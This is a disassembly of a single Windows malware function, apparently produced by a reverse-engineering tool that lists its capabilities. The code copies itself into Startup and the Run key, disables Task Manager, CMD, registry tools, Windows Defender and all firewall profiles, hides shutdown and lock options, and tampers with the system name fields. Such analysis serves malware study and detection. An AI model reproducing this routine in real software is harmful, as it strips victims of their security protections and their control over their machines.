Function at 0x140011366
Capabilities:
Disable firewall features via registry on windows
Disable system features via registry on windows
Disable windows defender features via registry on windows
Hide shutdown actions via policy
Persist via run registry key
Persist via windows service
Set registry value

Disassembly:
jmp 0x140018780
push rbp
push rdi
sub rsp, 0xc88
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x21e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14062a018]
xor rax, rbp
mov qword [rbp + 0xc20], rax
lea rcx, [0x1406300f9]
call fcn.140011771
mov dword [rbp + 0x5c4], 0
mov dword [rbp + 0x5e4], 0
mov ecx, 0x104
call fcn.140011348
mov qword [rbp + 0xbe8], rax
mov rax, qword [rbp + 0xbe8]
mov qword [rbp + 0x608], rax
mov r8d, 0x104
mov rdx, qword [rbp + 0x608]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupSystem.exe
lea rcx, [rbp + 0x628]
call fcn.140011361
nop
lea rdx, [rbp + 0x628]
lea rcx, [rbp + 0x668]
call fcn.140011113
nop
lea rdx, [0x140024e50]
lea rcx, [rbp + 0x668]
call fcn.14001109b
mov rdx, qword [rbp + 0x608]
lea rcx, [rbp + 0x668]
call fcn.14001109b
lea rdx, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupupdate.exe
lea rcx, [rbp + 0x6a8]
call fcn.140011361
nop
lea rdx, [rbp + 0x6a8]
lea rcx, [rbp + 0x6e8]
call fcn.140011113
nop
lea rdx, [0x140024e50]
lea rcx, [rbp + 0x6e8]
call fcn.14001109b
mov rdx, qword [rbp + 0x608]
lea rcx, [rbp + 0x6e8]
call fcn.14001109b
lea rdx, str.YOU_HACKED_LOOOLLL_NOOB
lea rcx, [rbp + 0x728]
call fcn.140011361
nop
lea rdx, [rbp + 0x728]
lea rcx, [rbp + 0x768]
call fcn.140011113
nop
lea rdx, [0x140024e50]
lea rcx, [rbp + 0x768]
call fcn.14001109b
mov rdx, qword [rbp + 0x608]
lea rcx, [rbp + 0x768]
call fcn.14001109b
lea rdx, str.You_hacked_bc_you_noob
lea rcx, [rbp + 0x7a8]
call fcn.140011361
nop
lea rdx, [rbp + 0x7a8]
lea rcx, [rbp + 0x7e8]
call fcn.140011113
nop
lea rdx, [0x140024e50]
lea rcx, [rbp + 0x7e8]
call fcn.14001109b
mov rdx, qword [rbp + 0x608]
lea rcx, [rbp + 0x7e8]
call fcn.14001109b
mov qword [rbp + 8], 0xffffffff80000001
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x38], 0xffffffff80000001
lea rax, str.SOFTWAREPoliciesMicrosoftWindowsSystem
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x68], 0xffffffff80000002
lea rax, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x98], 0xffffffff80000002
lea rax, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xc8], 0xffffffff80000002
lea rax, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xf8], 0xffffffff80000002
lea rax, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSleep
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x128], 0xffffffff80000002
lea rax, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideLock
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x158], 0xffffffff80000002
lea rax, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideChangeAccountSettings
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x188], 0xffffffff80000001
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x1b8], 0xffffffff80000002
lea rax, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1e8], 0xffffffff80000001
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x218], 0xffffffff80000002
lea rax, str.SOFTWAREMicrosoftWindows_Defender_Security_CenterVirus_and_threat_protection
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x248], 0xffffffff80000002
lea rax, str.SOFTWAREMicrosoftWindows_Defender_Security_CenterDevice_security
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x278], 0xffffffff80000002
lea rax, str.SYSTEMCurrentControlSetControlComputerNameComputerName
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x2a8], 0xffffffff80000002
lea rax, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x2d8], 0xffffffff80000002
lea rax, str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfile
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x308], 0xffffffff80000002
lea rax, str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyPublicProfile
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x338], 0xffffffff80000002
lea rax, str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyDomainProfile
mov qword [rbp + 0x340], rax
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x368]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableTaskMgr
mov rcx, qword [rbp + 0x368]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x388]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5e4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableCMD
mov rcx, qword [rbp + 0x388]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x468]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5e4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableRegistryTools
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x3a8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.value
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x3c8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0xa0]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.value
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x3e8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.value
mov rcx, qword [rbp + 0x3e8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x408]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x100]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.value
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x428]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.value
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x448]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x160]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.value
mov rcx, qword [rbp + 0x448]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x488]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableAntiSpyware
mov rcx, qword [rbp + 0x488]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x4e8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x220]
mov rcx, qword [rbp + 0x218]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.UILockdown
mov rcx, qword [rbp + 0x4e8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x508]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x250]
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.UILockdown
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x568]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x2e0]
mov rcx, qword [rbp + 0x2d8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.EnableFirewall
mov rcx, qword [rbp + 0x568]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x588]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x310]
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.EnableFirewall
mov rcx, qword [rbp + 0x588]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x5a8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x340]
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x5c4]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.EnableFirewall
mov rcx, qword [rbp + 0x5a8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x4a8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1f0]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea rcx, [rbp + 0x628]
call fcn.140011596
inc rax
mov qword [rbp + 0xc18], rax
lea rcx, [rbp + 0x668]
call fcn.1400110b9
mov rcx, qword [rbp + 0xc18]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.system
mov rcx, qword [rbp + 0x4a8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x4c8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1f0]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea rcx, [rbp + 0x6a8]
call fcn.140011596
inc rax
mov qword [rbp + 0xc18], rax
lea rcx, [rbp + 0x6e8]
call fcn.1400110b9
mov rcx, qword [rbp + 0xc18]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.update
mov rcx, qword [rbp + 0x4c8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x528]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x280]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea rcx, [rbp + 0x6a8]
call fcn.140011596
inc rax
mov qword [rbp + 0xc18], rax
lea rcx, [rbp + 0x6e8]
call fcn.1400110b9
mov rcx, qword [rbp + 0xc18]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ComputerName
mov rcx, qword [rbp + 0x528]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x548]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x2b0]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea rcx, [rbp + 0x6a8]
call fcn.140011596
inc rax
mov qword [rbp + 0xc18], rax
lea rcx, [rbp + 0x6e8]
call fcn.1400110b9
mov rcx, qword [rbp + 0xc18]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ProcessorNameString
mov rcx, qword [rbp + 0x548]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rax, qword [rbp + 0x608]
mov qword [rbp + 0xc08], rax
mov rcx, qword [rbp + 0xc08]
call fcn.1400113b1
cmp qword [rbp + 0xc08], 0
jne 0x14001947f
mov qword [rbp + 0xc18], 0
jmp 0x140019498
mov qword [rbp + 0x608], 0x8123
mov rax, qword [rbp + 0x608]
mov qword [rbp + 0xc18], rax
mov rcx, qword [rbp + 0x368]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x388]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x3a8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x3e8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x448]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x488]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x4a8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x4c8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x4e8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x508]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x528]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x548]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x568]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x588]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x5a8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rbp + 0x7e8]
call fcn.140011177
nop
lea rcx, [rbp + 0x7a8]
call fcn.140011177
nop
lea rcx, [rbp + 0x768]
call fcn.140011177
nop
lea rcx, [rbp + 0x728]
call fcn.140011177
nop
lea rcx, [rbp + 0x6e8]
call fcn.140011177
nop
lea rcx, [rbp + 0x6a8]
call fcn.140011177
nop
lea rcx, [rbp + 0x668]
call fcn.140011177
nop
lea rcx, [rbp + 0x628]
call fcn.140011177
lea rcx, [rbp - 0x50]
lea rdx, [0x1400240a0]
call fcn.14001165e
mov rcx, qword [rbp + 0xc20]
xor rcx, rbp
call fcn.1400113c0
lea rsp, [rbp + 0xc38]
pop rdi
pop rbp
ret